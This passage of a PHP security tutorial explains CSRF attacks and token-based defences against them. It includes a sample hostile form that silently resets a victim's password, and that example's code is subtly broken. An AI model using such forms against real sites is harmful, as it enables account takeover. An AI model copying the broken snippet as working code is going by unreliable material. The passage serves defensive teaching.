At some stage you are going to encounter a situation where you want to allow users to post a limited subset of HTML. I’d suggest that you save yourself a lot of trouble – don’t ever try and filter the HTML yourself. Parsing HTML (especially badly written HTML) is an extremely hard task to do well. Regexes aren’t going to cut it. HTML Purifier seems to be the best package out there for PHP developers.

Cross Site Request Forgeries

CSRF is a separate class of attack which is not technically an XSS attack, but is still closely related. In this attack the attacker creates specially crafted POST requests that they execute on the users browser without the user being aware. On third-party-site.com an attacker inserts the following code.

<form action="<strong>http://www.your-site.com/account/set_password.php</strong>" method="post" id="evilForm">
	<input type="hidden" name="password" value="newpass" />
</form>
<script>document.getElementById('b).submit();</script>

Your site will receive an apparently valid POST request to reset the user’s password. Because the request is sent from the victim’s browser (without them knowing) it will contain a valid cookie. You need to have some way of filtering out these bogus requests from legitimate ones.

The “Samy is my Hero” MySpace worm used a MySpace XSS hole and CSRF to spread.

If you are modifying data through GET requests then you have an even bigger problem. An attacker could post a link on your own site to a malicious URL: e.g. http://www.your-site.com/blog/delete?id=1 . No filtering is going to remove this URL because it is perfectly legitimate. Do not ever allow users to modify anything with a GET request.

Preventing Bogus Requests

There are a few things you can do to prevent rogue POST requests on your site. A malicious website can have a hidden form that submits to your site, but no third-party site can ever read the DOM structure of your site through the victim’s browser.
Many sites take advantage of this security restriction by introducing a two step process for any form data.

1. User performs a GET on delete.php. This page does not modify any data.
2. Site creates a unique token and adds it to the user’s session.
3. Site returns a page containing a POST form pointing to delete_process.php.
4. The user submits the form.
5. delete_process.php does the actual deletion only if the user has performed a POST request and the request includes the token generated in step 2.
6. For good practice the server should redirect the user to a page that confirms their action (this is known as the Post/Redirect/Get pattern)

This method will thwart a malicious POST coming from the third party site, as the third part can never read the secret token we generate, and therefore their request will be rejected.

At the time of the “Samy” worm MySpace was actually implementing the two-step process described above. However, because the attacker had discovered an XSS hole in MySpace, he was able to spread the worm from within the MySpace.com domain and could use XMLHTTPRequests to read the unique token.

Note: You may think that checking referrer values is a good way to stop bogus requests. Unfortunately there have also been known vulnerabilities which allow an attacker to spoof referrer headers. In addition to this, many users browse with referrers turned off or deliberately set to an incorrect value.

Watch Your Subdomains

It is common for many third-part scripts like WordPress or PHPBB to be vulnerable to XSS attacks. You may think that by hosting the package on a separate subdomain (e.g. forum.your-site.com) would keep you safe but an attacker can use JavaScript’s document.domain setting to make XMLHTTPRequests and read cookies from your top level domain (e.g. “your-site.com”). However, they will not be able to attack any other subdomains. If you main site is located at www.your-site.com and cookies are set to be readable to “.www.your-site.com” then your main site will be safe.

HTTP Only Cookies

Another promising candidate in the fight against XSS attacks is the HTTP only cookie, a proprietary extension created by Microsoft that would stop scripts from reading cookies that should only be read by the server.

Final Thoughts

Be careful with your JavaScript, you could wind up undoing all the careful work you did in your server side code, just as BugZilla did.

Pick a content encoding and stick to it. This has even caught out Google. Use the same character encoding in your HTML meta tags as you pass to htmlspecialchars. UTF-8 is always a safe bet.

Other articles in this series

• Securing Your PHP Code – Server Security
• Securing Your PHP Code – Databases